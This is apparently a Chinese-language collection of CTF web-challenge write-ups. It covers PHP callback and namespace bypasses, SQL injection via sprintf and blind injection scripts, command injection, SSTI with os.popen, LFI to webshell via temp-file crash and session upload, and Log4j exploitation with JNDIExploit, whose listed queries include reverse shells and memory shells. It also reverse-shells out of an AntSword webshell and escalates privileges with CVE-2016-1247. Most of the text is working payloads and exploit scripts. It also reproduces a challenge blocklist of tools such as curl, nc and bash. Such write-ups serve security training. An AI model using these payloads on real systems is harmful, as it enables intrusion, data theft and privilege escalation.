highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
    $dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
    $a = strtolower($a);
    if (!in_array($a,$dis,true)) {
        forward_static_call_array($a,$b);
    }
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";

主要的重点就是通过forward_static_call_array的回调函数来调用函数,但是forward_static_call_array仅能使用静态的函数,所以eval,include这类函数就没法用

两种解法

套娃

寻找一个没在黑名单内的回调函数,通过forward_static_call_array调用这个回调函数,再调用真正的恶意函数

参考->https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

奇特的是,黑名单内没有本身这个forward_static_call_array,而且register_shutdown_function也打成了registregister_shutdown_function,所以可以任选一个函数来打

要求回调的第二个参数时array,所以可以构造这样一个链

forward_static_call_array->forward_static_call_array->system->'ls'

其中forward_static_call_array为$a,system->’ls’为$b,且$b为array

说明

forward_static_call_array(callable $callback, array $args): mixed

通过 callback 参数指定调用用户定义的函数或者方法。此函数必须在方法上下文中调用,不能在类外使用。它使用后期静态绑定。转发方法的所有参数都作为值和数组传递,类似于 call_user_func_array()

注意 forward_static_call_array() 的参数不是通过引用传递的。

有个坑点就是这个$b为二维数组

$ar = array(
        "system",
        array("ls")
);
=>array(2) { [0]=> string(6) "system" [1]=> array(1) { [0]=> string(2) "ls" } }

其中array[0]作为套娃中forward_static_call_array的第一个参数,指定了使用的静态函数名。array[1]作为forward_static_call_array的第二个参数,作为array传入静态函数中

所以payload就是

?a=forward_static_call_array&b[]=system&b[][]=ls

命名空间

在php当中默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

注意访问任意全局类、函数或常量,都可以使用完全限定名称,例如 \strlen() 或 \Exception 或 \INI_ALL。

在命名空间内部访问全局类、函数和常量:

<?php
namespace Foo;

function strlen() {}
const INI_ALL = 3;
class Exception {}

$a = \strlen('hi'); // 调用全局函数strlen
$b = \INI_ALL; // 访问全局常量 INI_ALL
$c = new \Exception('error'); // 实例化全局类 Exception
?>

先要引入一个命名空间的了解,在php中默认的命名空间是\,如果不事先写,所有函数都在全局空间中使用,这就有可能造成函数名冲突

所以不难想到直接使用绝对路径调用system函数

?a=\system&b[]=cat flag.php

新年好?

js题

app.get('/flag', function (req, res) {
    function getflag(flag) {
      res.send(flag);
    }
    let delay = 10 * 1000;
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(getflag, delay,flag);
    setTimeout(() => {
      clearTimeout(t);
      try {
        res.send('Timeout!');
      } catch (e) {
      }
    }, 1000);
});

先定义了一个delay变量为10s,然后再和req.query.delay,传入的参数delay取更大的数

然后用delay作为设置超时的函数,这一眼就是溢出,直接把delay往大了填

?delay=99999999999999999999

红包一

F12

Log4j复现

最难复现的一集

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 89.117.226.223 -p 8888 -l 1234

起一个log4j exp服务,然后用这个服务里的Basic/TomcatEcho,在访问头里加个cmd:ls能直接打

Supported LADP Queries
* all words are case INSENSITIVE when send to ldap server

[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Basic/Dnslog/[domain]
    ldap://127.0.0.1:1389/Basic/Command/[cmd]
    ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Basic/TomcatEcho
    ldap://127.0.0.1:1389/Basic/SpringEcho
    ldap://127.0.0.1:1389/Basic/WeblogicEcho
    ldap://127.0.0.1:1389/Basic/TomcatMemshell1
    ldap://127.0.0.1:1389/Basic/TomcatMemshell2  ---need extra header [Shell: true]
    ldap://127.0.0.1:1389/Basic/JettyMemshell
    ldap://127.0.0.1:1389/Basic/WeblogicMemshell1
    ldap://127.0.0.1:1389/Basic/WeblogicMemshell2
    ldap://127.0.0.1:1389/Basic/JBossMemshell
    ldap://127.0.0.1:1389/Basic/WebsphereMemshell
    ldap://127.0.0.1:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Deserialization/URLDNS/[domain]
    ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho
    ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://127.0.0.1:1389/Deserialization/Jre8u20/TomcatMemshell1
    ldap://127.0.0.1:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://127.0.0.1:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells

[+] TomcatBypass Queries
    ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
    ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
    ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho
    ldap://127.0.0.1:1389/TomcatBypass/SpringEcho
    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell1
    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell2   ---need extra header [Shell: true]
    ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
    ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
    ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
    ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

难复现的一b,傻逼东西

给她

dirb扫出.git泄露,直接githack抓下来个hint.php

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));

主要的问题出现在$sql中,使用了第二次sprintf操作,而且$pass的值相对可控

sprintf用于把格式化的字符串写入一个变量中

而用于接收的字符格式值固定:

%% -> 返回一个百分号 %,%b -> 二进制数,%s -> 字符串
等

当%后所指定的类型是无法识别占位符类型时,sprintf会将其置空

"this_is_%'"->sprintf处理,由于%'不被识别,置空->"this_is_"

所以利用这个特性进行绕过addslashes

第一次addslashes+sprintf

$_GET['pass']=test%1$'#
$pass="and pass=test%1$\'#"

第二次addslashes+sprintf,$pass直接被拼接进去

$sql="select * from user where name='%s' and pass='test%1$\'#'"

就在这个时候,对$sql进行sprintf处理,%1$\被置空,留下来的就是

select * from user where name='%s' and pass='test'#'

成功闭合

payload

?name=1&pass=%1$' or 1=1%23

进去第二步明显发现页面不对,看一眼流量,注意到cookie有file字段,CyberChef直接打出来是string转16进制,读/flag文件就行

签到题

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}

payload

?url=baidu.com%26%26cat%20flag%26%26

假赛生

就是各种利用空格

提示register.php和login.php,还给了index源码

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;

看起来没有能session反序列化的地方,register尝试注册admin不允许

但是在sql中,空格的操作还挺有意思

SELECT * FROM `admininfo` where realname = 'admin'

这个时候如果表中有名为”admin “的数据(带了个空格),也是能被一起查询出来的

image-20231206121034404

注册的时候传入的”admin”和”admin “又是两个不同的字符串,所以直接注册”admin “,登陆”admin”就行

第二步就是绕过判断

preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);

直接fuzz

import string

import regex

fuzz = string.printable
for i in fuzz:
    if not regex.match(r"\w\W*", i):
        print(i, end = "")

打出来的结果是

!"#$%&'()*+,-./:;<=>?@[\]^`{|}~ 	


随便传个?c=!就行

萌新记忆

进去扫网出来个/admin

sql先试探一下,password部分估计是md5,没法闭合,username单引号闭合,简单fuzz一下

import string
import requests

url = "http://dcf0879c-3bff-4175-817e-a3a631e1dfc0.challenge.ctf.show/admin/checklogin.php"
fuzz = string.printable
sql_payload = ["select", "union", "or", "and", "||", "&&", "from", "where", "order", "group", "by", "having", "like",
               "updatexml", "order", "exp", "floor", "rand", "extractvalue", "geometrycollection", "multipoint",
               "polygon", "multipolygon", "linestring", "multilinestring", "sleep", "length", "substr", "mid", "ascii",
               "ord", "if", "/**/", "//"]
for i in fuzz:
    re = requests.post(url, data = {"u": i, "p": "1"})
    if "我报警了" in re.text:
        print(i, end = " ")
for sqls in sql_payload:
    re = requests.post(url, data = {"u": sqls, "p": "1"})
    if "我报警了" in re.text:
        print(sqls, end = " ")
! " # % & * + - . : ; = > ? @ ] ^ _ ` { } ~ select union or and && from where order by having like order floor rand sleep mid ascii ord if /**/

那其实也没办法闭合了

可以猜测一下里边的sql语句

select * from admin where username = '$_POST["u"]' and '$_POST["p"]';

还有一个知识点是应该知道的,就是在sql语句中 and级别高于or

image-20231206162545901

1=1 and password = 't'进行运算,得到结果1,然后再where realname = 'admin' or 1 得到永真

所以这里就可以直接插一条sub来盲注

import string

import requests

letter = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = "http://dcf0879c-3bff-4175-817e-a3a631e1dfc0.challenge.ctf.show/admin/checklogin.php"
for times in range(1, 20):
    for i in letter:
        payload = "'||substr(p,{},1)<'{}".format(times, i)
        re = requests.post(url, data = {"u": payload, "p": "1"})
        if re.text == "密码错误":
            print(letter[letter.find(i) - 1], end = "")
            break

密码打出来去掉两个ZZ登陆就行

抽象的是payload还不能带空格,哈哈

签到

一眼丁真www.zip泄密,

拉出来代码审计

waf_login:
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr))
waf_register:
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr))
register.php:
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1
set email = '$e', 
username = '$u',
password = '$p'
";
user.php
if (is_numeric($username))
    {	
        if(strlen($username)>10) {
            $username=substr($username,0,10);
        }
        echo "Hello $username,there's nothing here but dog food!";
    }

可以看到要求:

  • username部分必须是数字
  • 在注册功能的waf是明显少很多的

登陆成功之后,如果username是纯数字,则会直接输出username的值出来

所以可以构造username=select(flag/**/from/**/flag),如果要让他变成纯数字并且ascii被ban的情况下,可以使用两层hex函数,第一步将原文转化为16进制,由于16进制含ABCDEF,再套一层可以保证全是数字

所以要考虑如何逃逸出username = '$u'

简单在$e中多拼接一个',后面跟上payload

但是由于换行的限制,在$e中传入的payload处在同行,所以需要用/**/的操作来注释多行

如果不使用/**/,仅用#是无法将换行后的username和password注释掉的
insert into test1
set email = '1',username/**/=/**/hex(hex(substr((select/**/flag/**/from/**/flag),12,1))),password/**/=/**/'pass'#', 
username = 'user',
password = 'pass'
成功的打法
insert into test1
set email = '1',username/**/=/**/hex(hex(substr((select/**/flag/**/from/**/flag),12,1))),/*', 
username = 'user*/#',
password = 'pass'

这样的打法就成功将第三行的username注释掉了,再使用一个#注释后面的'#

所以一个poc就是

e=1',username/**/=/**/hex(hex(substr((select/**/flag/**/from/**/flag),12,1))),/*
&u=*/#
&p=pass

给出一个脚本

import re

import requests

url1 = "http://7bc05111-4ec7-4214-81c9-4e8e0c259385.challenge.ctf.show/register.php"
url2 = "http://7bc05111-4ec7-4214-81c9-4e8e0c259385.challenge.ctf.show/login.php"
flag = ""
for i in range(1, 50):
    payload = "hex(hex(substr((select/**/flag/**/from/**/flag),{},1)))".format(i)
    print(payload)
    s = requests.session()
    data1 = {
        "e": str(i) + "',username=" + payload + ",/*",
        "u": "*/#",
        "p": i
    }
    r1 = s.post(url1, data = data1)
    data2 = {
        "e": str(i),
        "p": i
    }
    r2 = s.post(url2, data = data2)
    t = r2.text
    real = re.findall("Hello (.*?),", t)[0]
    flag += real
    print(flag)

得到flag的双重hex转string即可

出题人不想跟你说话.jpg

变成提权了

进去一张图,提示cai和菜刀

直接蚁剑连上去,密码cai

但是进去的用户是www-data,需要考虑提权

hint提示去看看什么服务

直接cat /etc/crontab看看有什么服务

image-20231210191207659

每分钟执行一次/usr/sbin/logrotate -vf /etc/logrotate.d/nginx

蚁剑的终端太傻逼了,反弹个shell到攻击机上

已经提示是nginx服务+提权了,直接有CVE-2016-1247

exp搞下来执行

chmod -R 777 ./nginx.sh
./nginx.sh /var/log/nginx/error.log

等待一分钟crontab自动执行后提权

image-20231210191545599

蓝瘦

看一眼session一眼flask session伪造

image-20231210192814717

F12给key: ican,直接伪造

打进去提示缺少请求参数!

首页还有个param: ctfshow,传个值进去回显

image-20231210194113312

ssti直接梭,0过滤


?ctfshow={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('env').read()}}{%endif%}{%endfor%}

一览无余

CVE-2019-11043

特点nginx/1.20.1

拿phuip-fpizdam直接打

登陆就有flag

考察的点是mysql的隐式类型转换

当输入'3'-'1'时,mysql引擎会把''包含的当做数字进行减法运算

image-20240127223155075

fuzz之后可用的特殊字符串有!#$&'./:<>?@[]^_{}

显然,可以用& ^来进行操作

select ''^''select ''&''的结果均为0,而sql的select语句又有个特点,指定where=0时,会查询所有非数字开头的记录

所以就直接打一个select * from flag where u=''^''#的payload即可

市赛海燕那个也能这么打'*'

签退

<?php ($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);

eval中可利用;进行多php语句操作

?S=a;system('ls');

预期解是变量覆盖

?S=S=system('cat ../flag.txt');
或者
?S=a=system('cat ../flag.txt');

也有这种打法

?S=_POST['1']($_POST['2']);
1=system&2=ls

不知所措.jpg

$file must has test

必须带test字眼

?file=test.

打过去提示flag not here,估计是一层文件包含

伪协议直接打

php://filter/read=convert.base64-encode/resource=test.

这里有一个tips

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

在read和resource中间可以任意插入,不影响数据的读取

php://filter/read=convert.base64-encode/test/resource=test.

在这里加入test后不影响

所以可以通过这个来读index

php://filter/read=convert.base64-encode/test/resource=index.

打出来确实是include,那就直接data打

?file=data://text/plain,<?php system('ls');echo 'test'; ?>

easyshell

进入让传个username和password,cookie还带了hash,合理猜测这三个相关

md5($secret.$name)===$pass

传username=1,password=hash,发现通过window.location.href自动跳转了两个页面:flflflflag.php,404.html

进burp一步步看,在flflflflag中提示了

include($_GET["file"])

既然都include,直接php伪协议把源码读出来

flflflflag.php:

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
    die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

也就这里的文件包含能利用了

法一:

有个知识点:

PHP可以通过POST或者PUT进行文件上传,上传的文件存在临时文件的存储目录中,在一个正常存活周期后删除

临时文件正常的存活周期

上面这张图是PHP在通过POST方法上传文件时的运行周期图,可以看到我们临时文件的存活周期就是上图红色框中的时间段。另外,如果在php运行的过程中,假如php非正常结束,比如崩溃,那么这个临时文件就会永久的保留。如果php正常的结束,并且该文件没有被移动到其它地方也没有被改名,则该文件将在表单请求结束时被删除。

根据@王一航师傅去年的一个发现,利用php://filter/string.strip_tags造成崩溃。在含有文件包含漏洞的地方,使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录

经过文件扫描后还发现了个dir.php,里面就是var_dump了/tmp的目录

那就可以猜测tmp目录就是/tmp下

给一个python的文件上传脚本

import requests
import io


def upload_file_to_url(url, file_content, file_name):
    file_data = io.BytesIO(file_content.encode())

    files = {'file': (file_name, file_data)}

    response = requests.post(url, files=files)

    print(response.text)

target_url = 'http://43f8f4c1-7229-4348-8c40-e5858b937637.challenge.ctf.show/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
content_to_upload = '<?php file_put_contents("shell.php","<?php phpinfo();?>")?>'
file_name_to_upload = 'test'

upload_file_to_url(target_url, content_to_upload, file_name_to_upload)

里面使用php://filter/string.strip_tags来造成崩溃,再访问dir.php即可找到该文件的名字

这个文件被包含的结果就是,创建一个shell.php,往里面写入<?php phpinfo();?>

include包含之后直接访问shell.php

法二:

参考:

浅谈 SESSION_UPLOAD_PROGRESS 的利用

LFI 绕过 Session 包含限制 Getshell

Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。

思路是一样的,包含一个恶意文件,只不过这个恶意文件由session upload得来

给你shell

F12提示传参?view_source,进去显示源码

<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}

function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}

function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

处理流程:如果cookie中设置了secret,赋值给$json,否则给你加上个md5(‘y1ng’)作为cookie

正常情况下cookie的secret为

secret=%7B%22secret%22%3A%22770F0F8B605CFD2BA494849D948D34EF%22%7D
urldecode->
secret={"secret":"770F0F8B605CFD2BA494849D948D34EF"}

进入checkCookie函数,要求$json:前为{"secret",后半部分[\"0-9A-Z]*且以}结尾

往后就是$obj接收$json经过json_decode的内容

如果$obj[‘secret’]!=$flag_md5,就进haveFun函数,里面就是把flag md5后转大写,然后每位都和0xC0异或

测试出来haveFun的输出

0006464640064064646464006406464064640064006400000000000

再试试会发现输出有规律:数字->0,字母->64

所以flag md5后的前三个一定是数字

利用php弱比较,数字和数字开头的str比较,str会自动截取,让str转为数字再比较

secret={"secret":123},其中123会被json_decode解析为数字,在这里爆破得到115

进下一步path

<?php
error_reporting(0);
session_start();

require "hidden_filter.php";

if (!$_SESSION['login'])
    die('<script>location.href=\'./index.php\'</script>');

if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}

fuzz一通被ban了``fF”$’()*+/;^|`

直接php短标签提前闭合,造成

eval("\$_SESSION[1]?><?=?>]=false;");

接下来要考虑怎么样在新开的标签里读到flag.txt,而且F,f都被ban了,括号也ban了,基本调用不到函数

可以用require来包含(include被ban),加上个~取反来绕过

echo urlencode(~"/flag.txt")->%d0%99%93%9e%98%d1%8b%87%8b
echo urlencode(~"/flag")->%d0%99%93%9e%98
1]?><?=require~%d0%99%93%9e%98?>

RemoteImageDownloader

一眼过去觉得是php+curl,想着file协议直接拿下了

但是测试了发现并不是php,起一个HTTP HEARDER ECHO服务看看UA头得到后端的请求

#!/usr/bin/env python

try:
    from http.server import HTTPServer, BaseHTTPRequestHandler
except:
    from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
import json

class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        json_string = json.dumps(dict(self.headers))
        self.wfile.write(json_string.encode('utf-8'))

        print('%sBegin of Headers%s' % ('-' * 5, '-' * 5))
        for k, v in self.headers.items():
            print('%s: %s' % (k, v))
        print('%sEnd of Headers%s' % ('-' * 5, '-' * 5))

        return None

    do_POST   = do_GET
    do_PUT    = do_GET
    do_DELETE = do_GET

def main():
    port = 8080
    print('Listening on all interfaces:%s' % port)
    server = HTTPServer(('', port), RequestHandler)
    server.serve_forever()

if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = ("Creates an HTTP-header-echo-server.")
    (options, args) = parser.parse_args()
    main()

image-20240204231410411

PhantomJS2.1.1有CVE-2019-17221

<!doctype html>
<html lang="en">
  <head>
    <title>test</title>
    <style>body { background: white; }</style>
  </head>
  <body>
    <script>
      var xhr = new XMLHttpRequest();
      xhr.onload = function () {
        document.body.innerText = xhr.responseText;
      };
      xhr.open('GET', 'file:///flag');
      xhr.send();
    </script>
  </body>
</html>

让服务器访问这个就行

ALL_INFO_U_WANT

很流畅的一道题

扫出index.php.bak


visit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:


<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
    phpinfo();
}

if (isset($_GET['file'])) {
    $file = "/var/www/html/" . $_GET['file'];
    //really baby include
    include($file);
}

?>



really really really baby challenge right? 

include日志包含就行

但是real flag不在根目录,要在蚁剑shell找一下

find /etc -name '*' | xargs grep "{"
或者
find /etc | xargs grep "{"

(只能用单引号,其他都报错 难绷

WUSTCT_朴实无华_Revenge

进去就是经典闯关,先给一个判断回文的函数

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

level1

if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.-]/', $num)) {
        die("非洲欢迎你1");
    }
    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

就是传入num,经过intval和反向再intval后相等,且原始num不是回文

限定0-9.-

intval是转int的一个函数,会将浮点取整,字符取开头数字

有了提示的.-很容易想到一个payload

?num=1.10
intval->1;strrev->01.1->intval->1;非回文

level2

if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

双重md5之后相等,明显要求md5绕过,找到两次md5之后都是0e开头即可

0e开头弱比较会认为是科学计数法,0的n次方等于0的m次方

import hashlib

def md5_hash(s):
    return hashlib.md5(s.encode()).hexdigest()

for i in range(1000000000001):
    original_str = "0e" + str(i)
    

    first_hash = md5_hash(original_str)
    second_hash = md5_hash(first_hash)
    
    if second_hash.startswith("0e") and second_hash[2:].isdigit():
        print(original_str)
        break
?md5=0e3900184182

level3

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

最简单的一集,不能有空格,不能有上面的关键词

ctf里读取文件相关知识点总结

空格可以用<或者制表符(Tab)代替,读取直接nl

?get_flag=nl</flag
?get_flag=nl	/flag

Login_Only_For_36D

F12提示

image-20240206210743134

name参数里必须带admin,fuzz之后被ban了挺多

['&', "'", '-', ';', '<', '=', '>', '|', ' ', 'select', 'union', 'updatexml', 'floor', 'rand', 'substr', 'mid', 'ascii', 'and', '||', '&&']

可以利用/,将admin后面的'注释掉,达到这样的效果

name=1\&pass=test
->
select * from 36d_user where username='1\' and password='test';

传入数据库查询的username即为1\' and password=,由于无回显,盲注即可

import requests

url = "http://9420c6ec-8845-43b4-b94f-e1aa0543c453.challenge.ctf.show/index.php"
username = "admin\\"
alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
            'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P',
            'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
flag = ""
for i in range(1, 30):
    for al in alphabet:
        a_int = ord(al)
        data = {
            'username': username,
            'password': f"or/**/if((ord(right(left(password,{i}),1))/**/in/**/({a_int})),sleep(3),1)#"
        }
        try:
            r = requests.post(url, data=data, timeout=3)
        except:
            flag += chr(a_int)
            print(flag)

你取吧

$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");

要求不使用字母取反异或echo出东西,解法很多

预期解是访问$_中的键值拼接,最后用${}构成$hint

?code=${$_{7}.$_{8}.$_{12}.$_{19}}

还有P牛的无数字webshell也能打

一些不包含数字和字母的webshell

无字母数字webshell之提高篇

拿到zip源码,经过phpjiami跑过一遍

还是P牛

phpjiami 数种解密方法

hook eval的插件没成功,dump出来的

image-20240207152255636

?><?php @eval("//Encode by  phpjiami.com,Free user."); ?><?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4]; 
